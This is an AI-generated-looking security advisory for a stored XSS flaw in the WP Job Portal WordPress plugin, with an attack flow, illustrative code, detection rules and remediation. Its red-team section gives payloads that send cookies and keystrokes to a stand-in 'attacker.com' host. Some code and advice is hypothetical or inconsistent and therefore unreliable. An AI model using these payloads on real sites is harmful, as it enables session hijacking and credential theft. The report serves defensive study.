CVE-2025-14467

Executive Summary

CVE-2025-14467 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Job Portal WordPress plugin, affecting all versions up to and including 2.4.4. The vulnerability arises from the plugin explicitly whitelisting the <script> tag in its WPJOBPORTAL_ALLOWED_TAGS configuration and using insufficient input sanitization when saving job descriptions. This allows authenticated attackers with Editor-level access or higher to inject arbitrary web scripts into job description fields via the job creation/editing interface. The injected scripts execute whenever a user accesses the affected page, enabling session hijacking, credential theft, and other malicious activities. The vulnerability only impacts multi-site installations or those with unfiltered_html disabled.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WP Job Portal plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) – Editor-level access required
• User Interaction (UI): Required (R) – Victim must visit the injected page
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and credential theft elevates the risk for affected WordPress sites, especially multi-site installations.

Deep Dive & Mechanics

The vulnerability is rooted in the plugin's configuration of allowed HTML tags. The WPJOBPORTAL_ALLOWED_TAGS constant explicitly includes the <script> tag, which is a dangerous practice. Additionally, the plugin fails to properly sanitize user input when saving job descriptions. This combination allows authenticated users with Editor-level access to inject arbitrary JavaScript code.

Attack Flow:

1. An attacker with Editor-level access logs into the WordPress admin panel.
2. The attacker creates or edits a job posting.
3. In the job description field, the attacker injects a malicious script, e.g., <script>alert('XSS')</script>.
4. The plugin saves the input without proper sanitization, storing the script in the database.
5. When any user (including administrators) views the job posting, the script executes in their browser.
6. The attacker can then steal session cookies, redirect users to phishing sites, or perform other malicious actions.

Affected Component: Job description field in the job creation/editing interface.

Prerequisites:

• WordPress installation with WP Job Portal plugin version <= 2.4.4.
• Multi-site installation or unfiltered_html disabled.
• Attacker must have Editor-level access or higher.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.4.4): The plugin defines allowed tags in a configuration file, explicitly including <script>:

define('WPJOBPORTAL_ALLOWED_TAGS', '<p><a><b><i><u><script><style>');

When saving job descriptions, the plugin uses wp_kses() with this whitelist, allowing <script> tags to pass through:

$description = wp_kses($_POST['description'], WPJOBPORTAL_ALLOWED_TAGS);

Patched Code (hypothetical): The patched version should remove <script> from the allowed tags and use stricter sanitization:

define('WPJOBPORTAL_ALLOWED_TAGS', '<p><a><b><i><u><style>');
$description = sanitize_textarea_field($_POST['description']);

Additionally, the plugin should use wp_kses_post() for post content and ensure that unfiltered_html capability is properly checked.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Job Portal plugin version 2.4.4.
• Editor-level account credentials.

Steps:

1. Log in to WordPress admin as an Editor.
2. Navigate to WP Job Portal > Add Job.
3. In the job description field, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the job posting.
5. When an administrator or other user views the job, the script executes, sending their session cookie to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>new Image().src='https://attacker.com/steal.php?c='+document.cookie</script>
• Keylogger: <script>document.onkeypress=function(e){new Image().src='https://attacker.com/log.php?k='+e.key}</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for job description fields containing <script> tags.
• Use Web Application Firewall (WAF) rules to block XSS payloads in job description inputs.
• Review WordPress user roles and ensure only trusted users have Editor-level access.

Defense:

• Apply the patch as soon as it becomes available.
• Disable the unfiltered_html capability for Editor roles if not needed.
• Use a security plugin like Wordfence to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to known malicious domains or IPs from WordPress admin users.
  • HTTP requests containing <script> tags in job description fields.
• File IOCs:
  • Modified job description entries in the WordPress database containing JavaScript code.
• Log IOCs:
  • WordPress audit logs showing job creation/editing by Editor-level users with unusual content.

Detection Engineering

YARA Rule

rule wp_job_portal_xss {
    meta:
        description = "Detects stored XSS payloads in WP Job Portal job descriptions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14467"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $wp_job_portal = "WPJOBPORTAL_ALLOWED_TAGS" nocase
    condition:
        $script_tag and $wp_job_portal
}

Sigma Rule

title: WP Job Portal Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in WP Job Portal job descriptions
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=wpjobportal_save_job'
        http.body: 'description=*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in job descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"WP Job Portal Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpjobportal_save_job"; http_client_body; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Job Portal plugin until a patch is available.
2. Restrict Editor-level access to only trusted users.
3. Enable unfiltered_html for trusted users if multi-site is not required (note: this may introduce other risks).

Long-term Fix:

• Apply the official patch from the plugin vendor once released.
• Implement input validation and output encoding for all user-supplied data.
• Remove <script> from the allowed tags configuration.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI Assistant. For questions or further analysis, contact security@valters-it.com.